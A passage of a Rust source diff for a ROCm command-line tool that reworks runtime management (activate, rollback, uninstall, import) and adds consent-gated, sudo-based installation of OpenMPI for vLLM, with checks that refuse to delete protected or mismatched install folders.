to catch a launch slipping in between the two phases would be -/// racing a microsecond-wide window, so it would pass on a timing-lucky run -/// rather than flake. Treat the scope as a deliberately conservative choice -/// argued from the code, not as a property under regression cover: narrowing it -/// will not turn anything red. -/// -/// **What it costs.** Prune's own plan building calls `load_managed_services`, -/// so prune can now delay a launch for as long as its own scan runs, and a -/// launch already under way delays prune for as long as *it* runs. Neither -/// direction is bounded: the per-record worst case is the same 8.75s, over a -/// record count the user controls, and `FileLock::acquire` has no timeout. The -/// usual wait is milliseconds, because those are ceilings on probes that hang -/// rather than costs every record pays — but "usually imperceptible" is the -/// honest claim, not "a few seconds". Because the wait has no upper bound, it is -/// announced on screen ([`cli_progress::AnimatedSpinner`]) instead of leaving -/// the command silent. `--dry-run` takes the lock as well: a preview that -/// disagreed with what `--yes` would do is worth less than the launch it blocks. -/// -/// **What `--dry-run` writes.** `FileLock::acquire` creates the lock file and -/// any missing parents, and `services` only calls `AppPaths::discover`, never -/// `ensure` — so a preview on a host that has never served now creates -/// `/services/` and an empty `launch.lock`, and fails outright where the -/// data directory is not writable. Both are accepted. The lock file is a 0-byte -/// rendezvous point inside the CLI's own data directory, in the directory -/// `rocm serve` creates there anyway. And a data directory the CLI cannot write -/// is one no managed server could have written a record into, so the preview -/// that now errors had nothing to report; where records *do* exist, deleting -/// them needs write permission on the very directory the lock needs, so a -/// preview that still succeeded would be predicting a `--yes` run that cannot -/// run — the same kind of disagreement the paragraph above declines to ship. -/// -/// **No nested acquire.** `FileLock::acquire` blocks with no `try_` variant, so -/// a second acquire on a path already held by this process would hang forever. -/// Nothing under either phase acquires this path: the only other -/// `FileLock::acquire` in the tree is `ensure_background_helper_running_quiet`, -/// on a different lock file, and it is not reachable from here. In the other -/// direction `serve` holds this lock but never runs prune, in-process or as a -/// subprocess. -fn prune_managed_service_records( - paths: &AppPaths, - hours: u64, - dry_run: bool, - yes: bool, -) -> Result { - if !dry_run && !yes { +fn local_runtime_manifest_matches(manifest: &therock::InstalledRuntimeManifest) -> Result { + let local_path = manifest.install_root.join(".rocm-cli-runtime.json"); + if !local_path.is_file() { + return Ok(false); + } + let bytes = fs::read(&local_path) + .with_context(|| format!("failed to read {}", local_path.display()))?; + let local: therock::InstalledRuntimeManifest = serde_json::from_slice(&bytes) + .with_context(|| format!("failed to parse {}", local_path.display()))?; + Ok(local.runtime_key == manifest.runtime_key + && local.runtime_id == manifest.runtime_id + && paths_equivalent(&local.install_root, &manifest.install_root)) +} + +fn ensure_runtime_install_root_is_safe_to_remove(path: &Path) -> Result<()> { + if path.as_os_str().is_empty() || path.parent().is_none() || path.file_name().is_none() { bail!( - "Removing local server records requires --yes.\n\nTry: rocm services prune --dry-run\nThen: rocm services prune --yes" + "refusing to remove unsafe runtime folder {}", + path.display() ); } - // Held until this function returns, so no managed launch can be between its - // key write and its record write while the sweep looks at the directory. - // - // The acquire blocks with no timeout, and the thing it blocks behind is a - // launch whose own duration is unbounded — so it is announced rather than - // left as a silent hang, in the command a user reaches for precisely when a - // launch has gone wrong. `AnimatedSpinner` rather than the caller-driven - // `Spinner` because there is no loop here to tick one: the wait is a single - // blocking syscall, so only a background ticker can keep it moving. It is - // TTY-gated and erased on drop, so an uncontended prune — the normal case, - // where this costs microseconds — leaves nothing behind, and piped or - // redirected output never sees it at all. - let _launch_lock = { - let _waiting = - cli_progress::AnimatedSpinner::start("Waiting for a launch already under way…"); - rocm_core::FileLock::acquire(paths.managed_launch_lock_path())? - }; - let min_age = Duration::from_secs(hours.saturating_mul(3600)); - let plan = build_service_prune_plan(paths, min_age, hours, SystemTime::now())?; - let mut outcome = ServicePruneOutcome { - text: render_service_prune_plan(&plan, hours, dry_run), - skipped_live: plan.skipped_live, - skipped_recent: plan.skipped_recent, - ..ServicePruneOutcome::default() - }; - if dry_run { - return Ok(outcome); + // Belt and braces: a hand-edited or corrupted registry entry could point + // `install_root` at a protected system location while still carrying a + // matching in-tree `.rocm-cli-runtime.json`, slipping past + // `local_runtime_manifest_matches`. `prune` already refuses these before + // ever calling this function (see storage.rs); check it here too so the + // single source of truth for "may ROCm CLI delete this folder?" refuses + // it for every caller, including a direct `runtimes uninstall `. + if runtime_install_root_is_protected(path) { + bail!( + "refusing to remove runtime folder {} in a protected system location", + path.display() + ); } + Ok(()) +} - apply_service_prune_plan(paths, &plan, &mut outcome); +fn active_runtime_marker_matches(paths: &AppPaths, runtime_key: &str) -> Result { + let marker_path = active_runtime_marker_path(paths); + if !marker_path.is_file() { + return Ok(false); + } + let bytes = fs::read(&marker_path) + .with_context(|| format!("failed to read {}", marker_path.display()))?; + let marker: ActiveRuntimeMarker = serde_json::from_slice(&bytes) + .with_context(|| format!("failed to parse {}", marker_path.display()))?; + Ok(marker.runtime_key.eq_ignore_ascii_case(runtime_key)) +} - let _ = writeln!(outcome.text); - let _ = write!( - outcome.text, - "{}", - cli_report::ActionReport::new("Local server records removed") - .detail("records removed", outcome.removed_records) - .detail("files removed", outcome.removed_files) - .detail("still running, left alone", outcome.skipped_live) - .detail("too recent, kept", outcome.skipped_recent) - .render() - ); - // A bulk cleanup that silently keeps things is indistinguishable from one - // that found nothing, and the records most worth reading are exactly the - // ones this keeps. - if outcome.skipped_recent > 0 { - let _ = writeln!( - outcome.text, - " Those are recent enough to still be worth reading: `rocm services logs `.\n \ - Run `rocm services prune --any-age --yes` to remove them too." - ); +fn paths_equivalent(left: &Path, right: &Path) -> bool { + let left = normalize_path_for_compare(left); + let right = normalize_path_for_compare(right); + rocm_core::runtime_paths_equivalent(&left, &right) +} + +fn path_is_same_or_inside(path: &Path, base: &Path) -> bool { + let path = normalize_path_for_compare(path); + let base = normalize_path_for_compare(base); + runtime_path_is_same_or_inside(&path, &base) +} + +fn normalize_path_for_compare(path: &Path) -> PathBuf { + if let Ok(canonical) = path.canonicalize() { + return canonical; } - if !outcome.failures.is_empty() { - let _ = writeln!(outcome.text); - let _ = writeln!( - outcome.text, - "{} file(s) could not be removed:", - outcome.failures.len() + if path.is_absolute() { + return path.to_path_buf(); + } + std::env::current_dir().map_or_else(|_| path.to_path_buf(), |cwd| cwd.join(path)) +} + +fn import_runtime_manifest( + paths: &AppPaths, + manifest_path: &Path, + replace: bool, +) -> Result { + let bytes = fs::read(manifest_path) + .with_context(|| format!("failed to read {}", manifest_path.display()))?; + let mut manifest: therock::InstalledRuntimeManifest = serde_json::from_slice(&bytes) + .with_context(|| format!("failed to parse {}", manifest_path.display()))?; + if manifest.runtime_key.trim().is_empty() { + bail!( + "runtime manifest {} has an empty runtime_key", + manifest_path.display() ); - for failure in &outcome.failures { - let _ = writeln!(outcome.text, " - {failure}"); - } - let _ = writeln!( - outcome.text, - "Re-running is safe: everything already removed stays removed." + } + if manifest.runtime_id.trim().is_empty() { + bail!( + "runtime manifest {} has an empty runtime_id", + manifest_path.display() ); } - Ok(outcome) -} -fn runtimes(command: Option) -> Result<()> { - let paths = AppPaths::discover()?; - let mut config = RocmCliConfig::load(&paths)?; + manifest.read_only = true; + manifest.imported_from = Some( + manifest_path + .canonicalize() + .unwrap_or_else(|_| manifest_path.to_path_buf()), + ); + validate_runtime_manifest_for_activation(&manifest) + .with_context(|| format!("imported runtime `{}` is not usable", manifest.runtime_key))?; - match command.unwrap_or(RuntimesCommand::List) { - RuntimesCommand::List => { - print!("{}", render_runtimes_text(&paths, &config)?); - } - RuntimesCommand::Activate { runtime } => { - let result = activate_runtime(&paths, &mut config, &runtime)?; - println!("runtime activated"); - println!(" runtime_id: {}", result.runtime_id); - println!(" runtime_key: {}", result.runtime_key); - println!( - " changed_from_runtime_key: {}", - result.previous_runtime_key.as_deref().unwrap_or("") - ); - println!( - " note: running services keep their recorded runtime until they are restarted" - ); - if result.previous_runtime_key.is_some() { - println!("{ROLLBACK_RECOVERY_HINT}"); - } - println!(" marker: {}", active_runtime_marker_path(&paths).display()); - println!(" config: {}", paths.config_path().display()); - record_cli_audit_event( - &paths, - "runtime", - "runtime_activate", - "info", - format!( - "activated runtime_key={} runtime_id={}", - result.runtime_key, result.runtime_id - ), - None, - ); - } - RuntimesCommand::Rollback => { - let result = rollback_runtime(&paths, &mut config)?; - println!("runtime rolled back"); - println!(" runtime_id: {}", result.runtime_id); - println!(" runtime_key: {}", result.runtime_key); - println!( - " changed_from_runtime_key: {}", - result.previous_runtime_key.as_deref().unwrap_or("") - ); - println!( - " note: running services keep their recorded runtime until they are restarted" - ); - println!(" marker: {}", active_runtime_marker_path(&paths).display()); - println!(" config: {}", paths.config_path().display()); - record_cli_audit_event( - &paths, - "runtime", - "runtime_rollback", - "info", - format!( - "rolled back to runtime_key={} runtime_id={}", - result.runtime_key, result.runtime_id - ), - None, - ); - } - RuntimesCommand::Uninstall { - runtime, - yes, - dry_run, - } => { - let plan = plan_runtime_uninstall(&paths, &config, &runtime)?; - print_runtime_uninstall_plan(&plan); + write_runtime_registry_manifest(paths, &manifest, replace)?; - if dry_run { - println!("dry run: no changes made"); - return Ok(()); - } + Ok(manifest) +} - let plan = if yes { - plan - } else { - if !interactive_terminal() { - bail!("runtimes uninstall requires --yes outside an interactive terminal"); - } - match confirm_and_revalidate_runtime_uninstall(&paths, plan, confirm_uninstall)? { - RuntimeUninstallConfirmation::Cancelled => { - println!("runtime uninstall cancelled"); - return Ok(()); - } - RuntimeUninstallConfirmation::Confirmed { - plan: revalidated, - config: reloaded, - } => { - config = *reloaded; - *revalidated - } - } - }; - let result = apply_runtime_uninstall(&paths, &mut config, plan)?; +#[derive(Debug, Clone)] +struct SdkInstallFinalization { + runtime_key: String, + install_root: PathBuf, + family: String, + previous_runtime_key: Option, +} - let mut report = cli_report::ActionReport::new("runtime removed") - .detail("runtime_id", &result.runtime_id) - .detail("runtime_key", &result.runtime_key) - .detail("registry_removed", result.registry_path.display()); - match result.removed_install_root.as_ref() { - Some(path) => { - report = report.detail("folder_removed", path.display()); - } - None if result.read_only => { - report = report.detail("folder_removed", "no").detail( - "note", - "existing external runtime folder was left untouched", - ); - } - None if result.manifest_mismatch => { - report = report.detail("folder_removed", "no").detail( - "note", - "local runtime manifest did not match the registry; the folder was \ - left in place to avoid deleting the wrong install", - ); - } - None => { - report = report.detail("folder_removed", "no"); - } - } - if result.default_runtime_cleared { - report = report - .detail("default_runtime", "cleared") - .detail("next step", "rocm runtimes activate "); - } - report = report.detail("config", paths.config_path().display()); - print!("{}", report.render()); - record_cli_audit_event( - &paths, - "runtime", - "runtime_uninstall", - "info", - format!( - "removed runtime_key={} runtime_id={} removed_install_root={} \ - was_active={} default_runtime_cleared={}", - result.runtime_key, - result.runtime_id, - result - .removed_install_root - .as_ref() - .map_or_else(|| "none".to_owned(), |path| path.display().to_string()), - result.was_active, - result.default_runtime_cleared, - ), - None, - ); - } - RuntimesCommand::Import { manifest, replace } => { - let imported = import_runtime_manifest(&paths, &manifest, replace)?; - println!("runtime imported"); - println!(" runtime_id: {}", imported.runtime_id); - println!(" runtime_key: {}", imported.runtime_key); - println!(" mode: read-only"); - println!(" source: {}", manifest.display()); - println!( - " registry: {}", - runtime_manifest_path(&paths, &imported.runtime_key).display() - ); - println!( - " next step: rocm runtimes activate {}", - imported.runtime_key - ); - record_cli_audit_event( - &paths, - "runtime", - "runtime_import", - "info", - format!( - "imported read-only runtime_key={} runtime_id={} source={}", - imported.runtime_key, - imported.runtime_id, - manifest.display() - ), - None, - ); - } - RuntimesCommand::Adopt { - python, - root, - runtime_id, - runtime_key, - channel, - replace, - } => { - let adopted = adopt_runtime_from_python_options( - &paths, - AdoptRuntimeOptions { - python_input: python, - install_root: root, - runtime_id, - runtime_key, - channel, - replace, - }, - )?; - println!("runtime adopted"); - println!(" runtime_id: {}", adopted.runtime_id); - println!(" runtime_key: {}", adopted.runtime_key); - println!(" mode: read-only"); - println!( - " python_executable: {}", - adopted.python_executable.as_deref().unwrap_or("") - ); - println!(" root: {}", adopted.install_root.display()); - println!( - " registry: {}", - runtime_manifest_path(&paths, &adopted.runtime_key).display() - ); - println!( - " next step: rocm runtimes activate {}", - adopted.runtime_key - ); - record_cli_audit_event( - &paths, - "runtime", - "runtime_adopt", - "info", - format!( - "adopted read-only runtime_key={} runtime_id={} root={}", - adopted.runtime_key, - adopted.runtime_id, - adopted.install_root.display() - ), - None, - ); - } - } - - Ok(()) +fn print_sdk_install_success(finalized: &SdkInstallFinalization) { + print!("{}", render_sdk_install_success(finalized)); } -#[derive(Debug, Clone, Serialize, Deserialize)] -struct ActiveRuntimeMarker { - runtime_id: String, - runtime_key: String, - manifest_path: PathBuf, - install_root: PathBuf, - previous_runtime_id: Option, - previous_runtime_key: Option, - activated_at_unix_ms: u128, +fn preferred_engine_for_sdk_family(family: &str) -> Option<&'static str> { + let summary = rocm_core::HostGpuSummary { + therock_family: Some(family.to_owned()), + ..rocm_core::HostGpuSummary::default() + }; + preferred_serve_engine_for_host_gpu_summary(&summary) } -#[derive(Debug, Clone)] -pub(crate) struct RuntimeActivationResult { - runtime_id: String, - runtime_key: String, - previous_runtime_key: Option, +/// The two unrelated consents `rocm install sdk` can be given. +/// +/// They are separate because they authorize different things and are answerable +/// in different places. Replacing the active default runtime is a decision, and +/// an argv can express it fully. Approving a system-package install means +/// approving `sudo`, which — unless the host is root or has passwordless sudo — +/// needs a human at a terminal to type a password. +/// +/// `--yes` grants both, which is what a user typing it at a terminal means. +/// ROCm CLI's own non-interactive surfaces need only the first: they spawn +/// `rocm` with null stdin, so a sudo password prompt there can never be +/// answered, and treating their approval as covering it would run sudo they +/// cannot complete — and, for the vLLM/OpenMPI plan, abort the engine +/// auto-install that used to warn and continue. +#[derive(Clone, Copy, Debug, PartialEq, Eq)] +struct SdkInstallConsents { + /// Approve replacing whatever runtime is currently the active default, and + /// which flag granted it. The source is carried rather than flattened to a + /// bool because the install log names it: crediting `--yes` on a surface + /// that only ever passed the narrow flag would tell the reader that consent + /// to run `sudo` had been given when it had not. + replace_active_default: therock::SdkInstallConsent, + /// Approve installing required system packages (OpenMPI, libatomic, + /// libnuma) through the system package manager, which means `sudo`. + system_packages: bool, } -#[derive(Debug, Clone)] -struct RuntimeUninstallResult { - runtime_id: String, - runtime_key: String, - registry_path: PathBuf, - removed_install_root: Option, - read_only: bool, - manifest_mismatch: bool, - was_active: bool, - default_runtime_cleared: bool, +impl SdkInstallConsents { + const fn resolve(yes: bool, approve_replacing_active_default: bool) -> Self { + let replace_active_default = if yes { + therock::SdkInstallConsent::Preapproved(therock::SdkInstallApprovalSource::AssumeYes) + } else if approve_replacing_active_default { + therock::SdkInstallConsent::Preapproved( + therock::SdkInstallApprovalSource::ApproveReplacingActiveDefault, + ) + } else { + therock::SdkInstallConsent::Ask + }; + Self { + replace_active_default, + system_packages: yes, + } + } } -/// Marker shown beside the active runtime in `rocm runtimes list`. Every -/// place that renders this glyph MUST use this constant so the rendered -/// character and the legend text stay in sync. -const ACTIVE_RUNTIME_MARKER: &str = "*"; -/// Marker shown beside the rollback-target runtime. See -/// [`ACTIVE_RUNTIME_MARKER`]. -const ROLLBACK_RUNTIME_MARKER: &str = "-"; +/// What to do with a distro-aware system-package install plan, given the caller's +/// approval and what this host lets us do without a password. +#[derive(Clone, Copy, Debug, PartialEq, Eq)] +enum SystemPackageInstallAction { + /// Print the commands (and the preflight checks) and continue without them. + /// Nothing privileged is run, so nothing can block on a password prompt. + PrintManualCommands, + /// Run the plan. `run_system_package_install_plan` inherits stdin so an + /// interactive `sudo` password prompt can be answered. + RunPlan { + /// The `approval:` line explaining why this was allowed to run. + approval: &'static str, + /// Whether a failed command is an error rather than a warning. Only an + /// explicit approval escalates: the automatic (root/passwordless) path + /// must never let a missing system package fail an unattended install. + escalate_failure: bool, + }, +} -pub(crate) fn render_runtimes_text(paths: &AppPaths, config: &RocmCliConfig) -> Result { - recover_setup_runtime_registration(paths, config)?; - let manifests = therock::load_runtime_manifests(paths)?; - let mut output = String::new(); - let _ = writeln!(output, "registered ROCm runtimes"); - let _ = writeln!( - output, - " active_runtime_id: {}", - config.default_runtime_id.as_deref().unwrap_or("") - ); - let _ = writeln!( - output, - " active_runtime_key: {}", - config.active_runtime_key.as_deref().unwrap_or("") - ); - let _ = writeln!( - output, - " previous_runtime_key: {}", - config.previous_runtime_key.as_deref().unwrap_or("") - ); - let _ = writeln!( - output, - " registry: {}", - runtime_registry_dir(paths).display() - ); - let _ = writeln!( - output, - " marker: {}", - active_runtime_marker_path(paths).display() - ); - if let Some(active_runtime_key) = config.active_runtime_key.as_deref() - && !manifests - .iter() - .any(|manifest| manifest.runtime_key == active_runtime_key) - { - let _ = writeln!( - output, - " active_status: missing manifest for active_runtime_key={active_runtime_key}" - ); +/// Decide between the two, given whether the *system-package* consent was granted +/// and whether the host can install without prompting. +/// +/// Split out from the two callers below so the decision is testable without a +/// package manager, and so the "approved but no way to answer a password prompt" +/// case has one place to be reasoned about. +const fn system_package_install_action( + approved: bool, + can_autoinstall: bool, +) -> SystemPackageInstallAction { + if !approved && !can_autoinstall { + return SystemPackageInstallAction::PrintManualCommands; } - if config.active_runtime_key.is_none() - && let Some(default_runtime_id) = config.default_runtime_id.as_deref() - { - let matches = manifests - .iter() - .filter(|manifest| manifest.runtime_id == default_runtime_id) - .collect::>(); - if matches.is_empty() { - let _ = writeln!( - output, - " active_status: missing manifest for active_runtime_id={default_runtime_id}" - ); - } else if matches.len() > 1 { - let _ = writeln!( - output, - " active_status: ambiguous runtime_id={default_runtime_id}; activate one runtime_key: {}", - runtime_keys_text(&matches) - ); - } + SystemPackageInstallAction::RunPlan { + approval: if approved { + "granted by --yes" + } else { + "auto (root or passwordless sudo available)" + }, + escalate_failure: approved, } - if manifests.is_empty() { - let _ = writeln!(output, " installed: none"); - let _ = writeln!( - output, - " next step: rocm install sdk --channel release --format wheel" - ); - return Ok(output); +} + +/// Ensure the OpenMPI runtime that vLLM requires is present before the vLLM wheel +/// is installed. On Linux/WSL, when OpenMPI is missing, this installs it through +/// the system package manager. +/// +/// The privileged install runs automatically when it can be performed without an +/// interactive prompt (the process is root, or passwordless `sudo` is available), +/// or when `approved` (the `--yes` flag) is set. Otherwise the distro-aware plan +/// is printed and the caller continues without it. +/// +/// Returns `Ok(())` when OpenMPI is present, was installed, or could not be +/// installed automatically without explicit approval (warn-and-continue). When +/// the user explicitly approved the install with `--yes` and it still fails, the +/// error is propagated so the caller does not silently proceed past a failure the +/// user asked to perform. +fn ensure_openmpi_for_vllm(approved: bool) -> Result<()> { + if cfg!(windows) { + return Ok(()); + } + let status = rocm_core::openmpi::detect_openmpi(); + if status.present { + return Ok(()); } - let default_runtime_matches = default_runtime_id_matches(config, &manifests); - let single_default_runtime_key = - if config.active_runtime_key.is_none() && default_runtime_matches.len() == 1 { - Some(default_runtime_matches[0].runtime_key.clone()) - } else { - None - }; - drop(default_runtime_matches); + let os_release = read_os_release().unwrap_or_default(); + let os_id = parse_os_release_field(&os_release, "ID").unwrap_or_default(); + let id_like = parse_os_release_field(&os_release, "ID_LIKE").unwrap_or_default(); + let plan = rocm_core::openmpi::build_openmpi_install_plan(&os_id, &id_like); - let _ = writeln!(output, " installed:"); - let _ = writeln!( - output, - " legend: {ACTIVE_RUNTIME_MARKER} = active, {ROLLBACK_RUNTIME_MARKER} = rollback target" + println!("openmpi setup"); + println!( + " reason: vLLM requires the OpenMPI runtime (libmpi.so / mpirun), which was not found" ); - let _ = writeln!(output); - for manifest in manifests { - let active = config - .active_runtime_key - .as_deref() - .is_some_and(|runtime_key| runtime_key == manifest.runtime_key) - || single_default_runtime_key.as_deref() == Some(manifest.runtime_key.as_str()); - let rollback = config - .previous_runtime_key - .as_deref() - .is_some_and(|runtime_key| runtime_key == manifest.runtime_key); - let marker = if active { - ACTIVE_RUNTIME_MARKER - } else if rollback { - ROLLBACK_RUNTIME_MARKER - } else { - " " - }; - let status = runtime_usability_status(&manifest); - let mode = if manifest.read_only { - "read-only" - } else { - "managed" - }; - // The compiler is opt-in and `rocm update` reinstalls whatever this - // says, so an install missing it should not be silent about that. - // `rocm examine` reports the same thing for the active runtime. - let toolchain = toolchain_state_text(manifest.includes_devel()); - let _ = writeln!( - output, - " {marker} {} runtime_id={} version={} format={} family={} mode={} status={} toolchain={}", - manifest.runtime_key, - manifest.runtime_id, - therock::runtime_version_display(&manifest.version), - manifest.format, - manifest.family, - mode, - status, - toolchain - ); - let _ = writeln!( - output, - " install_root: {}", - manifest.install_root.display() + if let Some(manager) = plan.package_manager.as_deref() { + println!(" package_manager: {manager}"); + } + println!(" detail: {}", plan.reason); + + if !plan.supported { + eprintln!( + "warning: could not determine how to install OpenMPI automatically; install it manually so vLLM can load libmpi.so" ); + return Ok(()); } - Ok(output) -} + println!(" commands:"); + for command in &plan.commands { + println!(" {command}"); + } -pub(crate) fn activate_runtime( - paths: &AppPaths, - config: &mut RocmCliConfig, - selector: &str, -) -> Result { - let manifests = therock::load_runtime_manifests(paths)?; - let manifest = select_runtime_manifest(&manifests, selector)?; - validate_runtime_manifest_for_activation(manifest)?; - let current = current_runtime_manifest(config, &manifests); - // Re-selecting the runtime already in use is a no-op to the user: they have - // not left anything, so there is no new rollback target — and no reason to - // forget the one the activation that put them here recorded. Deriving the - // target from `current` unconditionally used to clear it, silently removing - // the recovery path that activation had just offered. - let (previous_runtime_key, previous_runtime_id) = if current - .as_ref() - .is_some_and(|current| current.runtime_key == manifest.runtime_key) - { - let runtime_key = config.previous_runtime_key.clone(); - let runtime_id = runtime_key - .as_deref() - .and_then(|runtime_key| { - manifests - .iter() - .find(|candidate| candidate.runtime_key == runtime_key) - }) - .map(|previous| previous.runtime_id.clone()); - (runtime_key, runtime_id) - } else { - // `current` differs from the requested runtime here by construction, so - // this can never record a runtime as its own rollback target. - ( - current - .as_ref() - .map(|manifest| manifest.runtime_key.clone()), - current.as_ref().map(|manifest| manifest.runtime_id.clone()), - ) + let can_autoinstall = rocm_core::openmpi::can_autoinstall(); + let SystemPackageInstallAction::RunPlan { + approval, + escalate_failure, + } = system_package_install_action(approved, can_autoinstall) + else { + for check in &plan.preflight_checks { + println!(" preflight: {check}"); + } + eprintln!("warning: OpenMPI is required by vLLM but was not installed automatically"); + eprintln!( + "warning: passwordless sudo is unavailable; run the commands above manually, or rerun with --yes to approve an interactive sudo prompt" + ); + return Ok(()); }; - config.default_runtime_id = Some(manifest.runtime_id.clone()); - config.active_runtime_key = Some(manifest.runtime_key.clone()); - config.previous_runtime_key = previous_runtime_key.clone(); - config.save(paths)?; - write_active_runtime_marker( - paths, - ActiveRuntimeMarker { - runtime_id: manifest.runtime_id.clone(), - runtime_key: manifest.runtime_key.clone(), - manifest_path: runtime_manifest_path(paths, &manifest.runtime_key), - install_root: manifest.install_root.clone(), - previous_runtime_id, - previous_runtime_key: previous_runtime_key.clone(), - activated_at_unix_ms: rocm_core::unix_time_millis(), - }, - )?; - - Ok(RuntimeActivationResult { - runtime_id: manifest.runtime_id.clone(), - runtime_key: manifest.runtime_key.clone(), - previous_runtime_key, - }) -} - -fn rollback_runtime( - paths: &AppPaths, - config: &mut RocmCliConfig, -) -> Result { - let previous_key = config - .previous_runtime_key - .clone() - .context("no previous runtime is recorded; activate another runtime before rollback")?; - let manifests = therock::load_runtime_manifests(paths)?; - let previous = select_runtime_manifest(&manifests, &previous_key)?; - validate_runtime_manifest_for_activation(previous)?; - let current = current_runtime_manifest(config, &manifests); - let new_previous_key = current - .as_ref() - .map(|manifest| manifest.runtime_key.clone()) - .filter(|runtime_key| runtime_key != &previous.runtime_key); - let new_previous_id = current - .as_ref() - .map(|manifest| manifest.runtime_id.clone()) - .filter(|_| new_previous_key.is_some()); - - config.default_runtime_id = Some(previous.runtime_id.clone()); - config.active_runtime_key = Some(previous.runtime_key.clone()); - config.previous_runtime_key = new_previous_key.clone(); - config.save(paths)?; - write_active_runtime_marker( - paths, - ActiveRuntimeMarker { - runtime_id: previous.runtime_id.clone(), - runtime_key: previous.runtime_key.clone(), - manifest_path: runtime_manifest_path(paths, &previous.runtime_key), - install_root: previous.install_root.clone(), - previous_runtime_id: new_previous_id, - previous_runtime_key: new_previous_key.clone(), - activated_at_unix_ms: rocm_core::unix_time_millis(), - }, - )?; - - Ok(RuntimeActivationResult { - runtime_id: previous.runtime_id.clone(), - runtime_key: previous.runtime_key.clone(), - previous_runtime_key: new_previous_key, - }) -} - -/// A runtime's install folder is only ever removed when ROCm CLI is confident -/// it owns that folder; `ReadOnly` and `ManifestMismatch` are distinct reasons -/// for leaving it alone, surfaced separately so a real problem (a stale or -/// corrupt local manifest) doesn't look identical to an intentional no-op. -#[derive(Debug, Clone, Copy, PartialEq, Eq)] -enum InstallRootDecision { - Remove, - ReadOnly, - ManifestMismatch, -} - -impl InstallRootDecision { - const fn should_remove(self) -> bool { - matches!(self, Self::Remove) - } -} - -#[derive(Debug, Clone)] -struct RuntimeUninstallPlan { - manifest: therock::InstalledRuntimeManifest, - registry_path: PathBuf, - was_active: bool, - /// Whether applying this plan will clear `config.default_runtime_id`. - /// This is true when the config's default still points at this - /// manifest's `runtime_id` and either this manifest was the active one, - /// or it is the last remaining install sharing that `runtime_id` (the - /// id is shared across side-by-side installs, so removing one sibling - /// does not by itself orphan the default while others remain). - clears_default_runtime: bool, - install_root_decision: InstallRootDecision, -} - -impl RuntimeUninstallPlan { - fn will_remove_install_root(&self) -> bool { - self.install_root_decision.should_remove() && self.manifest.install_root.exists() - } -} - -fn print_runtime_uninstall_plan(plan: &RuntimeUninstallPlan) { - let install_folder = if plan.will_remove_install_root() { - format!( - "{} (would be removed)", - plan.manifest.install_root.display() - ) - } else { - match plan.install_root_decision { - InstallRootDecision::Remove => "not present, nothing to remove".to_owned(), - InstallRootDecision::ReadOnly => { - "left untouched (external/read-only runtime)".to_owned() + println!(" approval: {approval}"); + match run_system_package_install_plan(&plan) { + Ok(()) => { + if rocm_core::openmpi::detect_openmpi().present { + println!(" status: installed"); + } else { + eprintln!( + "warning: OpenMPI install commands completed but the runtime (libmpi.so / mpirun) was still not found; verify the package manager output above" + ); } - InstallRootDecision::ManifestMismatch => { - "left untouched (local runtime manifest did not match the registry)".to_owned() + Ok(()) + } + Err(error) => { + // An explicit `--yes` is a deliberate request to perform the install; + // surface the failure so the vLLM install does not silently proceed + // past something the user asked for. The auto (unapproved) path keeps + // the warn-and-continue behavior so a missing OpenMPI never blocks an + // otherwise-unattended install. + // + // "Surface" is the exact claim, and it is not the same as failing the + // command: this error propagates out of the engine auto-install, and + // `finish_sdk_install` routes it through + // `engine_auto_install_failure_is_fatal`, which matches only + // `UnusableRuntimeAfterInstall`. So `rocm install sdk` still prints + // the failure and exits 0. Said here because the downgrade happens + // far away and reads as a non-zero exit from this site alone. + if escalate_failure { + return Err(error.context( + "OpenMPI install approved with --yes failed; rerun the commands above manually or retry without --yes to continue without OpenMPI", + )); } + eprintln!("warning: OpenMPI install failed: {error}"); + eprintln!( + "warning: continuing vLLM install; run the commands above manually so vLLM can load libmpi.so" + ); + Ok(()) } - }; - - let mut report = cli_report::ActionReport::new("runtime uninstall plan") - .detail("runtime_id", &plan.manifest.runtime_id) - .detail("runtime_key", &plan.manifest.runtime_key) - .detail("registry_entry", plan.registry_path.display()) - .detail("install_folder", install_folder); - if plan.clears_default_runtime { - report = report.detail("default_runtime", "would be cleared"); } - print!("{}", report.render()); } -fn plan_runtime_uninstall( - paths: &AppPaths, - config: &RocmCliConfig, - selector: &str, -) -> Result { - let manifests = therock::load_runtime_manifests(paths)?; - let manifest = select_runtime_manifest(&manifests, selector)?.clone(); - let registry_path = runtime_manifest_path(paths, &manifest.runtime_key); - let was_active = current_runtime_manifest(config, &manifests) - .is_some_and(|current| current.runtime_key == manifest.runtime_key); - let clears_default_runtime = config - .default_runtime_id - .as_deref() - .is_some_and(|runtime_id| runtime_id.eq_ignore_ascii_case(&manifest.runtime_id)) - && (was_active - || !manifests.iter().any(|other| { - other.runtime_key != manifest.runtime_key - && other.runtime_id.eq_ignore_ascii_case(&manifest.runtime_id) - })); - let install_root_decision = should_remove_runtime_install_root(&manifest)?; - Ok(RuntimeUninstallPlan { - manifest, - registry_path, - was_active, - clears_default_runtime, - install_root_decision, - }) +/// Static description of a PyTorch runtime library dependency that may need to +/// be installed from the system package manager. Drives [`ensure_torch_runtime_dep`] +/// so libatomic/libnuma (and any future additions) share one control flow. +struct TorchRuntimeDep { + /// Short label used in the setup header and warnings (e.g. `"libatomic"`). + name: &'static str, + /// Runtime soname referenced in status messages (e.g. `"libatomic.so.1"`). + soname: &'static str, + /// `reason:` line explaining why the dependency is required. + reason: &'static str, + /// Detection probe: returns whether the dependency is already loadable. + present: fn() -> bool, + /// Builds the distro-aware install plan from the parsed os-release fields. + build_plan: fn(&str, &str) -> rocm_core::openmpi::SystemPackageInstallPlan, } -/// Re-derives the uninstall plan from disk and refuses to proceed if it no -/// longer matches what the user approved. The interactive confirmation this -/// guards can wait indefinitely; if another process activates a different -/// runtime or replaces the install folder while the prompt is open, applying -/// the stale plan could clear the wrong `active_runtime_key` or recursively -/// delete a folder that is no longer the one that was vetted as safe to -/// remove. -fn revalidate_runtime_uninstall_plan( - paths: &AppPaths, - config: &RocmCliConfig, - plan: RuntimeUninstallPlan, -) -> Result { - let fresh = plan_runtime_uninstall(paths, config, &plan.manifest.runtime_key)?; - if fresh.manifest.runtime_id != plan.manifest.runtime_id - || fresh.manifest.install_root != plan.manifest.install_root - || fresh.was_active != plan.was_active - || fresh.clears_default_runtime != plan.clears_default_runtime - || fresh.install_root_decision != plan.install_root_decision - { - bail!( - "runtime state for {} changed while waiting for confirmation; re-run `rocm runtimes uninstall {}` to review the current plan before approving it", - plan.manifest.runtime_key, - plan.manifest.runtime_key - ); - } - Ok(fresh) +/// Ensure the `libatomic` runtime that PyTorch's ROCm wheel links against is +/// present. The 